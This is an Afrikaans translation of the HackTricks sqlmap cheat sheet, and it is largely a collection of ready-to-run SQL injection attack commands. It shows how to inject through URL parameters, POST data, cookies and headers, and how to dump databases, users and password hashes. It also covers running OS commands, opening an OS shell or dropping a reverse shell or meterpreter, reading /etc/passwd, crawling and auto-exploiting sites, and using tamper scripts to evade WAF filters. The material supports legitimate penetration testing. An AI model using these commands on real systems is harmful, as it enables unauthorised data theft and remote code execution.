SQLMap - Cheetsheat

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop, en pret te hê.

Basiese argumente vir SQLmap

Generies

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Verkry Inligting

Internaal

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB data

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Inspuitplek

Van Burp/ZAP vang

Vang die versoek en skep 'n req.txt lêer

sqlmap -r req.txt --current-user

GET Versoek Inspuiting

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Versoek Inspuiting

sqlmap -u "http://example.com" --data "username=*&password=*"

Injekties in Headers en ander HTTP Metodes

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Dui string aan wanneer inspuiting suksesvol is

--string="string_showed_when_TRUE"

Eval

Sqlmap laat die gebruik van -e of --eval toe om elke payload te verwerk voordat dit met 'n python oneliner gestuur word. Dit maak dit baie maklik en vinnig om die payload op pasgemaakte maniere te verwerk voordat dit gestuur word. In die volgende voorbeeld is die flask koekie sessie onderteken deur flask met die bekende geheim voordat dit gestuur word:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Lees Lêer

--file-read=/etc/passwd

Krap 'n webwerf met SQLmap en outomatiese eksploitasie

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Tweede Orde Inspuiting

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Lees hierdie pos oor hoe om eenvoudige en komplekse tweede orde inspuitings met sqlmap uit te voer.

Pas Inspuiting Aan

Stel 'n agtervoegsel in

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Voorvoegsel

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Help om booleaanse inspuiting te vind

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Onthou dat jy jou eie tamper in python kan skep en dit is baie eenvoudig. Jy kan 'n tamper voorbeeld op die Tweede Orde Injekie bladsy hier vind.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription

apostrophemask.py

Vervang apostrof karakter met sy UTF-8 volle breedte teenhanger

apostrophenullencode.py

Vervang apostrof karakter met sy onwettige dubbele unicode teenhanger

appendnullbyte.py

Voeg geënkodeerde NULL byte karakter by die einde van die payload aan

base64encode.py

Base64 al karakters in 'n gegewe payload

between.py

Vervang groter as operator ('>') met 'NOT BETWEEN 0 AND #'

bluecoat.py

Vervang spasie karakter na SQL verklaring met 'n geldige willekeurige leë karakter. Vervang daarna karakter = met LIKE operator

chardoubleencode.py

Dubbel url-encode al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk nie)

commalesslimit.py

Vervang voorbeelde soos 'LIMIT M, N' met 'LIMIT N OFFSET M'

commalessmid.py

Vervang voorbeelde soos 'MID(A, B, C)' met 'MID(A FROM B FOR C)'

concat2concatws.py

Vervang voorbeelde soos 'CONCAT(A, B)' met 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'

charencode.py

Url-encode al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk nie)

charunicodeencode.py

Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk nie). "%u0022"

charunicodeescape.py

Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk nie). "\u0022"

equaltolike.py

Vervang al voorkomste van operator gelyk ('=') met operator 'LIKE'

escapequotes.py

Skuil aanhalings (' en ")

greatest.py

Vervang groter as operator ('>') met 'GREATEST' teenhanger

halfversionedmorekeywords.py

Voeg geversioneerde MySQL kommentaar voor elke sleutelwoord by

ifnull2ifisnull.py

Vervang voorbeelde soos 'IFNULL(A, B)' met 'IF(ISNULL(A), B, A)'

modsecurityversioned.py

Omhels volledige navraag met geversioneerde kommentaar

modsecurityzeroversioned.py

Omhels volledige navraag met nul-geversioneerde kommentaar

multiplespaces.py

Voeg meerdere spasies rondom SQL sleutelwoorde by

nonrecursivereplacement.py

Vervang vooraf gedefinieerde SQL sleutelwoorde met voorstellings geskik vir vervanging (bv. .replace("SELECT", "")) filters

percentage.py

Voeg 'n persentasieteken ('%') voor elke karakter by

overlongutf8.py

Converteer al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk nie)

randomcase.py

Vervang elke sleutelwoord karakter met willekeurige kaswaarde

randomcomments.py

Voeg willekeurige kommentaar by SQL sleutelwoorde

securesphere.py

Voeg spesiaal saamgestelde string by

sp_password.py

Voeg 'sp_password' by die einde van die payload vir outomatiese obfuskaasie van DBMS logs

space2comment.py

Vervang spasie karakter (' ') met kommentaar

space2dash.py

Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n willekeurige string en 'n nuwe lyn ('\n')

space2hash.py

Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n willekeurige string en 'n nuwe lyn ('\n')

space2morehash.py

Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n willekeurige string en 'n nuwe lyn ('\n')

space2mssqlblank.py

Vervang spasie karakter (' ') met 'n willekeurige leë karakter uit 'n geldige stel alternatiewe karakters

space2mssqlhash.py

Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n nuwe lyn ('\n')

space2mysqlblank.py

Vervang spasie karakter (' ') met 'n willekeurige leë karakter uit 'n geldige stel alternatiewe karakters

space2mysqldash.py

Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n nuwe lyn ('\n')

space2plus.py

Vervang spasie karakter (' ') met plus ('+')

space2randomblank.py

Vervang spasie karakter (' ') met 'n willekeurige leë karakter uit 'n geldige stel alternatiewe karakters

symboliclogical.py

Vervang AND en OR logiese operators met hul simboliese teenhangers (&& en

unionalltounion.py

Vervang UNION ALL SELECT met UNION SELECT

unmagicquotes.py

Vervang aanhalingsteken karakter (') met 'n multi-byte kombinasie %bf%27 saam met generiese kommentaar aan die einde (om dit te laat werk)

uppercase.py

Vervang elke sleutelwoord karakter met hoofletters waarde 'INSERT'

varnish.py

Voeg 'n HTTP kop 'X-originating-IP' by

versionedkeywords.py

Omhels elke nie-funksie sleutelwoord met geversioneerde MySQL kommentaar

versionedmorekeywords.py

Omhels elke sleutelwoord met geversioneerde MySQL kommentaar

xforwardedfor.py

Voeg 'n valse HTTP kop 'X-Forwarded-For' by

Dadelijk beskikbare opstelling vir kwesbaarheid assessering & pentesting. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle terug 'n bietjie tyd te gee om dieper te delf, shells te pop, en pret te hê.

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Last updated